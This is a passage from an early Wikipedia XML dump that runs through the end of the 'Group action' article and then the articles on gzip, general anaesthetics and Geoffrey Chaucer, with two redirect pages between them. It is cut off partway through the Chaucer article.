* The [[quaternions]] with modulus 1, as a multiplicative group, act on '''R'''&lt;sup&gt;''3''&lt;/sup&gt;: for any such quaternion &lt;math&gt;z = \cos\frac{\alpha}{2} + \sin\frac{\alpha}{2}\,\hat\mathbf{v}&lt;/math&gt;, the mapping ''f''('''x''') = ''z'' '''x''' ''z''&lt;sup&gt;*&lt;/sup&gt; is a counterclockwise rotation through an angle &lt;math&gt;\alpha\,&lt;/math&gt; about an axis '''v'''; -''z'' is the same rotation; see [[quaternions and spatial rotation]].
*The isometries of the plane act on the set of 2D images and patterns, such as a [[wallpaper group|wallpaper pattern]]. The definition can be made more precise by specifying what is meant by image or pattern, e.g. a function of position with values in a set of colors.
*More generally, a group of bijections ''g'': V &amp;rarr; V acts on the set of functions ''x'': V &amp;rarr; W by ''(gx)(v)=x(g&lt;sup&gt;&amp;minus;1&lt;/sup&gt;(v))'' (or a restricted set of such functions that is closed under the group action). Thus a group of bijections of space induces a group action on &quot;objects&quot; in it.

== Types of actions ==

The action of ''G'' on ''X'' is called 
* ''transitive'' if for any two ''x'', ''y'' in ''X'' there exists a ''g'' in ''G'' such that ''g''&amp;middot;''x'' = ''y''; 
** ''n-transitive'' if ''G'' acts transitively on &lt;math&gt;X^n&lt;/math&gt;.
** ''sharply n-transitive'' if ''G'' acts regularly on &lt;math&gt;X^n&lt;/math&gt;.
* ''faithful'' (or ''effective'') if for any two different ''g'', ''h'' in ''G'' there exists an ''x'' in ''X'' such that ''g''&amp;middot;''x'' &amp;ne; ''h''&amp;middot;''x''
* ''free'' if for any two different ''g'', ''h'' in ''G'' and all ''x'' in ''X'' we have ''g''&amp;middot;''x'' &amp;ne; ''h''&amp;middot;''x''
* ''regular'' (or ''simply transitive'') if it is both transitive and free; this is equivalent to saying that for any two ''x'', ''y'' in ''X'' there exists precisely one ''g'' in ''G'' such that ''g''&amp;middot;''x'' = ''y''.

Every free action on a [[non-empty]] set is faithful. A group ''G'' acts faithfully on ''X'' [[iff]] the homomorphism ''G'' &amp;rarr; Sym(''X'') has a trivial [[kernel (algebra)|kernel]]. Thus, for a faithful action, ''G'' is isomorphic to a [[permutation group]] on ''X''; specifically, ''G'' is isomorphic to its image in Sym(''X'').

The action of any group ''G'' on itself by left multiplication is regular, and thus faithful as well. Every group can, therefore, be embedded in the symmetric group on its own elements, Sym(''G'') &amp;mdash; a result known as [[Cayley's theorem]].

If ''G'' does not act faithfully on ''X'', one can easily modify the group to obtain a faithful action. If we define ''N'' = {''g'' in ''G'' : ''g''&amp;middot;''x'' = ''x'' for all ''x'' in ''X''}, then ''N'' is a [[normal subgroup]] of ''G''; indeed, it is the kernel of the homomorphism ''G'' &amp;rarr; Sym(''G''). The [[factor group]] ''G''/''N'' acts faithfully on ''X'' by setting (''gN'')&amp;middot;''x'' = ''g''&amp;middot;''x''. The original action of ''G'' on ''X'' is faithful if and only if ''N'' = {''e''}.

== Orbits and stabilizers ==

Consider a group ''G'' acting on a set ''X''. The '''orbit''' of a point ''x'' in ''X'' is the set of elements of ''X'' to which ''x'' can be moved by the elements of ''G''. The orbit of ''x'' is denoted by ''Gx'':

:&lt;math&gt;Gx = \left\{ g\cdot x \mid g \in G \right\}&lt;/math&gt;

The defining properties of a group guarantee that the set of orbits of ''X'' under the action of ''G'' form a [[partition of a set|partition]] of ''X''. The associated [[equivalence relation]] is defined by saying ''x'' ~ ''y'' [[iff]] there exists a ''g'' in ''G'' with ''g''·''x'' = ''y''. The orbits are then the [[equivalence class]]es under this relation; two elements ''x'' and ''y'' are equivalent iff their orbits are the same, i.e. ''Gx'' = ''Gy''.

The set of all orbits of ''X'' under the action of ''G'' is written as ''X''/''G'', and is called the '''''quotient''''' of the action; in geometric situations it may be called the '''''orbit space'''''.

If ''Y'' is a [[subset]] of ''X'', we write ''GY'' for the set { ''g''·''y'' : ''y'' &lt;math&gt;\in&lt;/math&gt; ''Y'' and ''g'' &lt;math&gt;\in&lt;/math&gt; ''G''}. We call the subset ''Y'' ''invariant under G'' if ''GY'' = ''Y'' (which is equivalent to ''GY'' &amp;sube; ''Y''). In that case, ''G'' also operates on ''Y''. The subset ''Y'' is called ''fixed under G'' if ''g''·''y'' = ''y'' for all ''g'' in ''G'' and all ''y'' in ''Y''. Every subset that's fixed under ''G'' is also invariant under ''G'', but not vice versa.

Every orbit is an invariant subset of ''X'' on which ''G'' acts transitively. The action of ''G'' on ''X'' is transitive if and only if all elements are equivalent, meaning that there is only one orbit.

For every ''x'' in ''X'', we define the '''stabilizer subgroup''' of ''x'' (also called the '''isotropy group''' or '''little group''') as the set of all elements in ''G'' that fix ''x'':
:&lt;math&gt;G_x = \{g \in G \mid g\cdot x = x\}&lt;/math&gt;
This is a [[subgroup]] of ''G'', though typically not a normal one. The action of ''G'' on ''X'' is free if and only if all stabilizers are trivial. The kernel ''N'' of the homomorphism ''G'' &amp;rarr; Sym(''X'') is given by the [[intersection (set theory)|intersection]] of the stabilizers ''G''&lt;sub&gt;''x''&lt;/sub&gt; for all ''x'' in ''X''.

Orbits and stabilizers are not unrelated. For a fixed ''x'' in ''X'', consider the map from ''G'' to ''X'' given by ''g'' &lt;math&gt;\mapsto&lt;/math&gt; ''g''·''x''. The [[image (mathematics)|image]] of this map is the orbit of ''x'' and the [[coimage]] is the set of all left [[coset]]s of ''G&lt;sub&gt;x&lt;/sub&gt;''. The standard quotient theorem of set theory then gives a natural [[bijection]] between ''G''/''G''&lt;sub&gt;''x''&lt;/sub&gt; and ''Gx''. Specifically, the bijection is given by ''hG&lt;sub&gt;x&lt;/sub&gt;'' &lt;math&gt;\mapsto&lt;/math&gt; ''h''·''x''. This result is known as the '''orbit-stabilizer theorem'''.

If ''G'' and ''X'' are finite then the orbit-stabilizer theorem, together with [[Lagrange's theorem]], gives
:&lt;math&gt;|Gx| = [G\,:\,G_x] = |G| / |G_x|&lt;/math&gt;
This result is especially useful since it can be employed for counting arguments.

Note that if two elements ''x'' and ''y'' belong to the same orbit, then their stabilizer subgroups, ''G''&lt;sub&gt;''x''&lt;/sub&gt; and ''G''&lt;sub&gt;''y''&lt;/sub&gt;, are [[group isomorphism|isomorphic]]. More precisely: if ''y'' = ''g''·''x'', then ''G''&lt;sub&gt;''y''&lt;/sub&gt; = ''gG''&lt;sub&gt;''x''&lt;/sub&gt; ''g''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;.

A result closely related to the orbit-stabilizer theorem is [[Burnside's lemma]]:
:&lt;math&gt;\left|X/G\right|=\frac{1}{\left|G\right|}\sum_{g\in G}\left|X^g\right|&lt;/math&gt;
where ''X''&lt;sup&gt;''g''&lt;/sup&gt; is the set of points fixed by ''g''. This result is mainly of use when ''G'' and ''X'' are finite, when it can be interpreted as follows: the number of orbits is equal to the average number of points fixed per group element.

== Morphisms and isomorphisms between ''G''-sets ==

If ''X'' and ''Y'' are two ''G''-sets, we define a ''morphism'' from ''X'' to ''Y''
to be a function ''f'' : ''X'' &amp;rarr; ''Y'' such that ''f''(''g''.''x'') = ''g''.''f''(''x'') for all ''g'' in ''G'' and all ''x'' in ''X''. Morphisms of ''G''-sets are also called ''[[equivariant map]]s'' or ''G-maps''.

If such a function ''f'' is [[bijective]], then its inverse is also a morphism, and we call ''f'' an ''[[isomorphism]]'' and the two ''G''-sets ''X'' and ''Y'' are called ''isomorphic''; for all practical purposes, they are indistinguishable in this case. 

Some example isomorphisms:
* Every regular ''G'' action is isomorphic to the action of ''G'' on ''G'' given by left multiplication.
* Every free ''G'' action is isomorphic to ''G''&amp;times;''S'', where ''S'' is some set and ''G'' acts by left multiplication on the first coordinate.
* Every transitive ''G'' action is isomorphic to left multiplication by ''G'' on the set of left [[coset]]s of some [[subgroup]] ''H'' of ''G''.

With this notion of morphism, the collection of all ''G''-sets forms a [[category theory|category]]; this category is a [[topos]].

== Continuous group actions ==
One often considers '''continuous group actions''': the group ''G'' is a [[topological group]], ''X'' is a [[topological space]], and the map ''G''&amp;nbsp;&amp;times;&amp;nbsp;''X''&amp;nbsp;&amp;rarr;&amp;nbsp;''X'' is [[continuous function (topology)|continuous]] with respect to the [[product topology]] of ''G''&amp;nbsp;&amp;times;&amp;nbsp;''X''. The space ''X'' is also called a ''G-space'' in this case. This is indeed a generalization, since every group can be considered a topological group by using the [[discrete space|discrete topology]]. All the concepts introduced above still work in this context, however we define morphisms between ''G''-spaces to be ''continuous'' maps compatible with the action of ''G''. The quotient ''X''/''G'' inherits the [[quotient topology]] from ''X'', and is called the '''quotient space''' of the action. The above statements about isomorphisms for regular, free and transitive actions are no longer valid for continuous group actions. 

If ''G'' is a discrete group acting on a [[topological space]] ''X'', the action is  [[properly discontinuous]] if for any point ''x'' in ''X'' there is an open neighborhood ''U'' of ''x'' in ''X'', such that the set of all &lt;math&gt;g \in G&lt;/math&gt; for which &lt;math&gt;g(U) \cap U \ne \emptyset &lt;/math&gt; is a finite set. If ''X'' is a [[Covering map#Deck transformation group, regular covers|regular covering space]] of another topological space ''Y'', then the action of the [[Covering map#Deck transformation group, regular covers|deck transformation group]]  on ''X'' is properly discontinuous as well as being free. Every free, properly discontinuous action of a group ''G'' on a [[connected]], [[path connected]], topological space ''X'' arises in this manner: the quotient map &lt;math&gt;X \mapsto X/G&lt;/math&gt; is a regular covering map, and the deck transformation group is the given action of ''G'' on ''X''.

An action of a group ''G'' on a locally compact space ''X'' is '''cocompact''' if there exists a compact subset ''A'' of ''X'' such that ''GA''=''X''. For a properly discontinuous action, cocompactness is equivalent to compactness of the quotient space ''X/G''.

=== Strongly continuous group action and smooth vector ===

If &lt;math&gt;\alpha:V\times A\to A&lt;/math&gt; is an action of a topological vector space &lt;math&gt;V&lt;/math&gt; on an another topological vector space &lt;math&gt;A&lt;/math&gt;, one says that it is '''strongly continuous''' if for all &lt;math&gt;a\in A&lt;/math&gt;, the map &lt;math&gt;v\to\alpha_v(a)&lt;/math&gt; is continuous with respect to the respective topologies.

Such an action induce an action on the space of continuous function on &lt;math&gt;A&lt;/math&gt; by &lt;math&gt;(\alpha_vf)(x)=f(\alpha_v^{-1}x)&lt;/math&gt;.

The space of '''smooth vector''' for the action &lt;math&gt;\alpha&lt;/math&gt; is the subspace of &lt;math&gt;A&lt;/math&gt; of elements &lt;math&gt;a&lt;/math&gt; such that &lt;math&gt;x\to\alpha_x(a)&lt;/math&gt; is smooth, i.e. it is continuous and all derivatives are continuous.

== Generalizations ==

One can also consider actions of [[monoid|monoids]] on sets, by using the same two axioms as above. This does not define bijective maps and equivalence relations however.

Instead of actions on sets, one can define actions of groups and monoids on objects of an arbitrary [[category theory|category]]: start with an object ''X'' of some category, and then define an action on ''X'' as a monoid homomorphism into the monoid of endomorphisms of ''X''. If ''X'' has an underlying set, then all definitions and facts stated above can be carried over. For example, if we take the category of [[vector space|vector spaces]], we obtain [[group representation|group representations]] in this fashion.

One can view a group ''G'' as a category with a single object in which every [[morphism]] is invertible. A group action is then nothing but a [[functor]] from ''G'' to the [[category of sets]], and a group representation is a functor from ''G'' to the [[category of vector spaces]]. In analogy, an action of a [[groupoid]] is a functor from the groupoid to the category of sets or to some other category.

Without using the language of categories, one can extend the notion of a group action on a set ''X'' by studying as well its induced action on the [[power set]] of ''X''. This is useful, for instance, in studying the action of the large [[Mathieu group]] on a 24-set and in studying symmetry in certain models of [[finite geometry|finite geometries]].  See [http://log24.com/theory/patt.html pattern groups].  

[[Category:Abstract algebra]]
[[Category:Algebra]]
[[Category:Group theory]]
[[Category:Permutation groups]]

[[de:Gruppenoperation]]
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  <page>
    <title>Gzip</title>
    <id>12783</id>
    <revision>
      <id>41180659</id>
      <timestamp>2006-02-25T16:18:00Z</timestamp>
      <contributor>
        <username>Karnesky</username>
        <id>160332</id>
      </contributor>
      <minor />
      <comment>recat</comment>
      <text xml:space="preserve">{{lowercase|title=gzip}}

'''gzip''' is short for '''[[GNU]] zip''', a GNU [[free software]] [[file compression]] [[program]]. It was created by Jean-loup Gailly and Mark Adler. Version 0.1 was first publicly released on [[October 31]], [[1992]]. Version 1.0 followed in February [[1993]].

gzip is based on the [[DEFLATE (algorithm)|DEFLATE algorithm]], which is a combination of [[LZ77]] and [[Huffman coding]]. DEFLATE was intended as a replacement for [[LZW]] and other [[patent]]-encumbered [[data compression]] [[algorithm]]s which, at the time, limited the usability of &lt;tt&gt;[[compress]]&lt;/tt&gt; and other popular archivers.

The gzip format consists of a 10 byte header, a body and a 8 byte footer.  The body is the data compressed using the deflate algorithm.  Except for the header and footer, there is no difference between gzip and deflate.

gzip is a popular way to compress HTTP 1.1 streams from a web server to the browser and most popular browsers can decompress a stream that has been compressed with gzip.

The gzip file format holds a single compressed file.  On [[Unix]] systems, compressed archives are typically created by rolling collections of files into a [[tar (file format)|tar]] archive, and then compressing that archive with gzip.  The final &lt;tt&gt;.tar.gz&lt;/tt&gt; or &lt;tt&gt;.tgz&lt;/tt&gt; file is usually called a &quot;compressed tarball.&quot;  

gzip is not to be confused with the [[ZIP (file format)|ZIP]] archive format, which also uses DEFLATE.  The ZIP format is more portable and can hold collections of files without resorting to an external archiver, but is less compact than compressed tarballs holding the same data because it compresses files individually and cannot take advantage of redundancy between files ([[solid compression]]).

[[zlib]] is an abstraction of the DEFLATE algorithm in library form which includes support both for the gzip file format and a lightweight stream format in its API.  The zlib stream format, DEFLATE and the gzip file format were standardized respectively as RFC 1950, RFC 1951 and RFC 1952.

Since the late 1990s, [[bzip2]], a file compression utility based on a block-sorting algorithm, has gained some popularity as a gzip replacement. It produces considerably smaller files (especially for source code and other structured text), but at the cost of memory and processing time (up to a factor of 4). bzip2-compressed tarballs are conventionally named &lt;tt&gt;.tar.bz2&lt;/tt&gt;.

[[AdvanceCOMP]] has a DEFLATE implementation which produces gzip-compatible files with better compression ratios than gzip itself.

==See also==
*[[List of archive formats]]
*[[List of file archivers]]
*[[Comparison of file archivers]]

==External links==
*[http://www.gnu.org/software/gzip/gzip.html gzip Home Page] and  http://www.gzip.org/
*[http://www.zlib.org/ Zlib Home Page]
*[http://www.compression-links.info/Gzip List of GZIP related resources, tutorials, sources]
*[http://www.urbanophile.com/arenn/coding/gzrt/gzrt.html The gzip Recovery Toolkit]
*[http://blog.usweb.com/archives/the-value-online-marketing-benefits-of-gzip The Online Marketing Benefits of gzip]
[[Category:Free data compression software]]
[[Category:GNU project software]]
[[Category:Archive formats]]

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    <title>Goons</title>
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      <timestamp>2005-06-11T04:03:54Z</timestamp>
      <contributor>
        <username>DJ Clayworth</username>
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      <text xml:space="preserve">#REDIRECT [[The Goon Show]]</text>
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  </page>
  <page>
    <title>Gamma characteristic</title>
    <id>12785</id>
    <revision>
      <id>15910442</id>
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      <contributor>
        <username>Uriyan</username>
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      <text xml:space="preserve">#REDIRECT [[Gamma correction]]</text>
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  <page>
    <title>General anaesthetic</title>
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        <username>Stone</username>
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      <minor />
      <text xml:space="preserve">A '''general anaesthetic''' drug is an anaesthetic (or anesthetic [[American English |AE]]) drug that brings about a reversible loss of [[consciousness]]. These drugs are generally administered by an [[anaesthetist]] ([[Commonwealth English |CE]])  (or [[anesthesiologist]] [[American English|AE]]) in order to induce or maintain [[general anaesthesia]] to facilitate [[surgery]].

Drugs given to induce or maintain general [[anaesthesia]] are either given as:

* Gases or vapors ([[inhalation anaesthetics]])
* Injections ([[intravenous anaesthetics]]).

Most commonly these two forms are combined, with an injection given to induce anaesthesia and a gas used to maintain it, although it is possible to deliver anaesthesia solely by inhalation or injection.

Inhalational anaesthetic substances are either [[volatile]] [[liquid]]s or [[gas]]es and are usually delivered using an [[anaesthesia machine]]. An anaesthesia machine allows composing a mixture of oxygen, anaesthetics and ambient air, delivering it to the patient and monitoring patient and machine parameters. Liquid anaesthetics are vaporized in the machine.  

Many compounds have been used for inhalation anaesthesia, but only a few are still in widespread use. [[Desflurane]] and [[sevoflurane]] are the most widely used [[volatile anaesthetic]]s today.  They are often combined with [[nitrous oxide]]. Older, less popular, volatile anesthetics, include [[isoflurane]] (used commonly in veterinary medicine), [[halothane]], [[enflurane]], and [[methoxyflurane]]. Researchers are also actively exploring the use of [[xenon]] as an anaesthetic. 

Injection anaesthetics are used for induction and maintenance of a state of unconsciousness. Anaesthetists prefer to use [[intravenous injection]]s as they are faster, generally less painful and more reliable than [[intramuscular injection | intramuscular]] or [[subcutaneous injection]]s. Among the most widely used drugs are:

* [[Propofol]]
* [[Etomidate]]
* [[Barbiturate]]s such as [[methohexital]] and [[thiopentone]]/[[thiopental]]
* [[Benzodiazepine]]s such as [[midazolam]] and [[diazepam]] (commonly known as Valium)
* [[Ketamine]] (commonly known as the street drug [[ketamine | Special K]], and used as a date rape drug)

== Mechanism of action ==

Researchers agree that ion channels are the ultimate site of action of general anaesthetics, and are now determining the exact molecular mechanisms. However, the sites of action of general anaesthetics proved difficult to identify until the last decade. The wide variation in structure, ranging from complex [[steroid]]s to the inert monatomic gas [[xenon]], led to several now [[outdated theories of anaesthetic action]]. 

It is now known that general anaesthetics act on the [[central nervous system]] by modifying the electrical activity of neurons at a molecular level by modifying the function of [[ion channel]]s. This may occur by anaesthetic molecules binding directly to ion channels or by their disrupting the function of molecules that maintain ion channels.

Scientists have cloned forms of receptors in the past decade, adding greatly to knowledge of the [[protein]]s involved in neuronal excitability. These include:

* [[Voltage-gated ion channel]]s, such as sodium, potassium, and calcium channels
* [[Ligand-gated ion channel]] superfamily
* [[G protein-coupled receptor]] superfamily

== See also ==

* [[Local anesthesia]]
* [[Mechanical ventilation]]
* [[Intraoperative awareness]]

[[Category:Pharmacology]][[Category:Anesthesia]]

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  <page>
    <title>Geoffrey Chaucer</title>
    <id>12787</id>
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      <timestamp>2006-03-01T14:45:30Z</timestamp>
      <contributor>
        <username>Neddyseagoon</username>
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      <comment>/* Life */ Leicester</comment>
      <text xml:space="preserve">[[Image:Geoffrey Chaucer - Illustration from Cassell's History of England - Century Edition - published circa 1902.jpg|200px|thumb|right|Chaucer: Illustration from Cassell's ''History of England'', circa 1902.]]
'''Geoffrey Chaucer''' (c. [[1343]] &amp;ndash; [[October 25]], [[1400]]) was an [[England|English]] [[English literature|author]], [[English poetry|poet]], [[philosopher]], [[Bureaucracy|bureaucrat]]  ([[Noble court|courtier]]), and [[diplomat]].  Chaucer is best known as the author of ''[[The Canterbury Tales]]''.  He is sometimes credited with being the first author to demonstrate the artistic legitimacy of the [[vernacular]] [[Middle English|English language]], rather than [[French language|French]] or [[Latin]].

==Life==
[[Image:Chaucer ellesmere.jpg|thumb|left|Chaucer as a pilgrim from the [[Ellesmere manuscript]]]]
Chaucer was born around [[1343]] probably in [[London]], although the exact date and location is not known. His father and grandfather were both London [[wine]] merchants ([[vintner]]s) and before that, for several generations, the family were merchants in [[Ipswich]].  In [[1324]] John Chaucer, Geoffrey's father, was kidnapped by an aunt in the hope of marrying the twelve year-old boy to her daughter; an attempt to keep property in Ipswich.  The aunt was imprisoned and the £250 [[Pound sterling|pound]]s fine levied suggests that the family was well-to-do, [[bourgeoisie|upper middle-class]] if not in the [[elite]].  John married Agnes Copton, who in [[1349]] inherited property including twenty-four shops in London from her uncle, Hamo de Copton, who is described as the &quot;moneyer&quot; at the [[Tower of London]]. 

There are no details of Chaucer's early life and education but compared to his near contemporary poets, [[William Langland]] and [[The Pearl Poet]], his life is well documented with nearly five hundred written items testifying to his career.  The first time he is mentioned is in [[1357]], in the household accounts of [[Elizabeth de Burgh, 4th Countess of Ulster|Elizabeth de Burgh]], the [[Earl of Ulster|Countess of Ulster]] when his father's connections enabled him to become a [[page]] to the noble lady.  In [[1359]], in the early stages of the [[Hundred Years' War]], [[Edward III of England|Edward III]] invaded [[France]] and Chaucer travelled with [[Lionel of Antwerp]], Elizabeth's husband, as part of the [[History of the British Army|English army]]. In [[1360]], he was captured during the [[Reims|siege of Reims]], becoming a [[prisoner of war]]. Edward contributed £16 as part of a [[ransom]], and Chaucer was released.

After this Chaucer's life is uncertain but he seems to have travelled in France, [[Spain]] and [[Flanders]], possibly as a messenger and perhaps even going on a pilgrimage to [[Santiago de Compostela]].  Around [[1366]] Chaucer married [[Philippa (de) Roet]] at [[St Mary de Castro (Leicester)]].  She was a lady-in-waiting to Edward III's queen, [[Philippa of Hainault]], and a sister of [[Katherine Swynford]], who later (ca. [[1396]]) became the third wife of Chaucer's friend and patron, [[John of Gaunt]]. It is uncertain as to how many children Chaucer and Philippa had, but 3 or 4 are the numbers most widely agreed upon.  [[Thomas Chaucer]] had an illustrious career, [[Chief Butler of England|chief butler]] to four kings, envoy to France and [[Speaker of the British House of Commons|Speaker of the House of Commons]].  Thomas' great-grandson, Geoffrey’s great-great-grandson, [[John de la Pole, Earl of Lincoln]] was the heir to the throne designated by [[Richard III of England|Richard III]], before he was deposed.  Geoffrey's other children probably included Elizabeth Chaucy, a nun, Agnes, an attendant at [[Henry IV of England|Henry IV]]'s coronation and another son Lewis Chaucer.

Chaucer is presumed to have studied law in the [[Inner Temple]] (an [[Inn of Court]]) at about this time, although definite proof is lacking.  It is recorded that he became a member of the [[British royal family|royal court]] of Edward III as a [[valet]] or [[esquire]] on [[20 June]] [[1367]], a position which could entail any number of jobs.  He travelled abroad many times with at least some of them being in his role as a valet.  In [[1368]] he may have attended the wedding of Lionel of Antwerp to Violante, daughter of [[Galeazzo II Visconti]], in [[Milan]].  Two literary stars of the era who were in attendance were [[Jean Froissart]] and [[Petrarch]].  Chaucer also travelled to [[Picardy]] the following year as part of a military expedition and visited [[Genoa]] and [[Florence]] in [[1373]].

It is on this [[Italy|Italian]] trip that it is speculated he came into contact with [[Middle Ages|medieval]] [[Italian poetry]], the forms and stories of which he would use later.  While he may have been exposed to manuscripts of these works the trips were not usually long enough to learn sufficient [[Italian language|Italian]].  It may have been his upbringing among the merchants and immigrants in the [[docklands]] of London that gave him the opportunity to learn the language.  One other trip he went on in [[1377]] seems shrouded in mystery with records of the time conflicting in details.  Later documents suggest it was a mission, along with [[Jean Froissart]], to arrange a marriage between the future [[Richard II of England|Richard II]] and a French princess, thereby ending the Hundred Years War.  If this was the purpose of their trip, they seem to have been unsuccessful as no wedding occurred.

[[image:Geoffrey Chaucer.jpeg|150px|left|thumb|A 19th century depiction of  Chaucer.  For three near-contemporary portraits of Chaucer see [http://www.towson.edu/~duncan/chaucer/images.htm here].]]

Another indication of his early poetic life came on  [[St. George's Day]] in [[1374]] when [[Edward III of England|Edward III]] granted Chaucer a gallon of wine daily for life for some unspecified service.  An unusual grant, Chaucer nonetheless regularly collected it until Richard II came to power and converted it to a monetary grant. A more substantial job was that of [[Comptroller]] of the Customs for the port of [[London]] which Chaucer began on [[8 June]] [[1374]].  He must have been suited for the role as he continued in it for twelve years, a long time in such a post at that period.  His life goes undocumented for much of the next ten years and it is not known if he was in the city at the time of the [[Peasants' Revolt]]. He was mentioned in law papers of [[4 May]] [[1380]], involved in the ''raptus'' of Cecilia Chaumpaigne.  What ''raptus'' means, [[rape]] or possibly kidnapping, is unclear but the incident seems to have been resolved quickly and did not leave a stain on Chaucer's reputation.

While still working as comptroller Chaucer appears to have moved to [[Kent]], being appointed as one of the commissioners of peace for Kent, at a time when French invasion was a possibility.  He also became a [[Member of Parliament]] for Kent in [[1386]].  There is no further reference after this date to Philippa, Chaucer's wife, and she is presumed to have died in [[1387]].  He survived the political upheavals caused by the [[Lords Appellant]]s despite the fact that some of the men executed over the affair Chaucer had known well.

On [[12 July]] [[1389]] Chaucer was appointed the [[clerk of the king's works]], a sort of [[foreman]] organizing most of the king's building projects.  No major works were begun during his tenure but he did conduct repairs upon [[Westminster Palace]], [[St. George's Chapel, Windsor]], continue building the wharf at the [[Tower of London]] and build the stands for a tournament held in [[1390]].  It may have been a difficult job but it paid well: two [[shilling]]s a day, over three times the salary as a comptroller.  In September [[1390]], records say that he was robbed, and possibly injured, while conducting the business and it was shortly after on [[17 June]] [[1391]] that he stopped working in this capacity.  Almost immediately on [[22 June]] he began as deputy forester in the [[royal forest]] of [[North Petherton]], [[Somerset]].  This was no [[sinecure]], with maintenance an important part of the job, although there were many opportunities to derive profit. 

Soon after the overthrow of his patron [[Richard II of England|Richard II]], Chaucer vanished from the historical record. He is believed to have died of unknown causes on [[25 October]], [[1400]] but there is no firm evidence for this date which is from the engraving on his tomb, built over one hundred years after his death.  There is some speculation&amp;mdash;most recently in [[Terry Jones]]' book ''[[Who Murdered Chaucer? : A Medieval Mystery]]''&amp;mdash;that he was murdered by enemies of Richard II or even on the orders of his successor [[Henry IV of England|Henry IV]].  The new king did renew the grants assigned to Chaucer by Richard but in ''The Complaint of Chaucer to his Purse'' Chaucer hints that they might not have been paid.  The last mention of Chaucer in the historical record is on [[5 June]] [[1400]] when some monies owing to him were paid.  Chaucer was buried in [[Westminster Abbey]] in London as was his right owing to the jobs he had performed and the new house he had leased nearby on [[24 December]] [[1399]]. In [[1556]] his remains were transferred to a more ornate tomb, making Chaucer the first writer interred in the area now known as [[Poets' Corner]].

==Works==
Chaucer's first major work ''[[The Book of the Duchess]]'' was an [[elegy]] for [[Blanche of Lancaster]].  Although unlikely that it was commissioned by her husband [[John of Gaunt]], as some scholars have claimed, he did grant Chaucer a £10 annuity on [[13 June]] [[1374]].  Two other early works were ''[[Anelida and Arcite]]'' and ''The [[House of Fame]]''.  Chaucer wrote many of his major works in a prolific period while working as customs comptroller.  His ''[[Parlement of Foules]]'', ''[[The Legend of Good Women]]'' and ''[[Troilus and Criseyde]]'' all date from this time.  He is best known as the writer of ''[[The Canterbury Tales]]'', a collection of stories (told by fictional [[pilgrim]]s on the road to the [[cathedral]] at [[Canterbury, Kent|Canterbury]]) that would help to shape [[English literature]].

''[[The Canterbury Tales]]'' contrasts with other literature of the period in the naturalism of its narrative, the variety of stories the pilgrims tell and the varied characters who are engaged in the pilgrimage which sets it apart from other literature of the period.  Many of the stories narrated by the pilgrims seem to fit their individual characters and social standing, although some of the stories seem ill-fitting to their narrators, probably representing the incomplete state of the work. Chaucer drew on real life for his cast of Pilgrims; the inn keeper shares the name of a contemporary keeper of an Inn in [[Southwark]], and real life identities for the Wife of Bath, the Merchant, the Man of Law and the Student have been suggested. The many jobs Chaucer held in medieval society; page, soldier, messenger, valet, bureaucrat, foreman and administrator probably exposed him to many of the types of people he depicted in the ''Tales''.  He was able to ape their speech, satirise their manners and still offer them popular literature.

Chaucer's works are sometimes grouped into, first a French period, then an Italian period and finally an English period, with Chaucer being influenced by those countries' literatures in turn.  Certainly ''[[Troilus and Criseyde]]'' is a middle period work with its reliance on the forms of Italian poetry, little known in England at the time, but to which Chaucer was probably exposed during his frequent trips abroad on court business. In addition, its use of a [[classical antiquity|classical]] subject and its elaborate, courtly language sets it apart as one of his most complete and well-formed works. In ''[[Troilus and Criseyde]]'' Chaucer draws heavily on his source, Bocaccio, and on the late Latin philsopher Boethius. However, it is ''The Canterbury Tales'', wherein he focuses on English subjects, with bawdy jokes and respected figures often being undercut with humour, that has cemented his reputation.

Chaucer also [[translation|translated]] such important works as [[Anicius Manlius Severinus Boethius|Boethius]]' ''[[Consolation of Philosophy]]'' and ''[[The Romance of the Rose]]'' by [[Guillaume de Lorris]] (extended by Jean de Meun). However, while many scholars maintain that Chaucer did indeed translate part of the text of ''The Romance of the Rose'' as ''[[Roman de la Rose]]'', others claim that this has been effectively disproved.  Many of his other works were very loose translations of, or simply based on, works from continental Europe.  It is in this role that Chaucer receives some of his earliest critical praise.  [[Eustache Deschamps]] wrote a [[ballade]] on the great translator and called himself a &quot;nettle in Chaucer's garden of poetry&quot;.  In [[1385]] [[Thomas Usk]] made glowing mention of Chaucer, and [[John Gower]], Chaucer's main poetic rival of the time, also lauded him.  This reference was later edited out of Gower's ''[[Confessio Amantis]]'' and it has been suggested by some that this was because of ill feeling between them, but it is likely due simply to stylistic concerns.

One other significant work of Chaucer's is his [[Treatise on the Astrolabe]], possibly for his own son, that describes the form and use of [[Astrolabe|that instrument]] in detail.  Although much of the text may have come from other sources, the treatise indicates that Chaucer was versed in science in addition to his literary talents.  Another scientific work discovered in [[1952]], ''Equatorie of the Planetis'', has similar language and handwriting compared to some considered to be Chaucer's and it continues many of the ideas from the Astrolabe.  The attribution of this work to Chaucer is still uncertain.

==Influence==
===Linguistic===
[[Image:Chaucer Hoccleve.gif|thumb|300px|Portrait of Chaucer from [[Thomas Occleve]], a close friend, so probably an accurate depiction]]
Chaucer wrote in continental accentual-syllabic [[metre (poetry)|metre]], a style which had developed since around the twelfth century as an alternative to the [[alliterative verse|alliterative]] [[Anglo-Saxon poetry|Anglo-Saxon metre]].  Chaucer is known for metrical innovation, inventing the [[rhyme royal]], and he was one of the first English poets to use the five-stress line, the [[iambic pentameter]], in his work, with only a few anonymous short works using it before him.  And the arrangement of these five-stress line into rhyming [[couplet]]s was first seen in his ''[[The Legend of Good Women]]'', was used in much of his later work and became one of the standard poetic forms in English.  His early influence as a satirist is also important, with the common humorous device, the funny accent of a [[regional dialect]], apparently making its first appearance in ''[[The Reeve's Prologue and Tale|The Reeve's Tale]]''.

The poetry of Chaucer, along with other writers of the era, is credited with helping to ''standardise'' the London Dialect of the [[Middle English]] language; a combination of Kentish and Midlands dialect.  This is probably overstated: the influence of the court, [[chancery]] and bureaucracy&amp;mdash;of which Chaucer was a part&amp;mdash;remains a more probable influence on the development of [[Standard English]].  [[Modern English]] is somewhat distanced from the language of Chaucer's poems owing to the effect of the [[Great Vowel Shift]] some time after his death.  This change in the [[pronunciation]] of English, still not fully understood, makes the reading of Chaucer difficult for the modern audience. The status of the final ''-e'' in Chaucer's verse is uncertain: it seems likely that during the period of Chaucer's writing the final ''-e'' was dropping out of colloquial English and that its use was somewhat irregular. Chaucer's versification suggests that the final ''-e'' is sometimes to be vocalised, and sometimes to be silent; however, this remains a point on which there is disagreement. Apart from the irregular spelling, much of the vocabulary is recognisable to the modern reader.  Chaucer is also 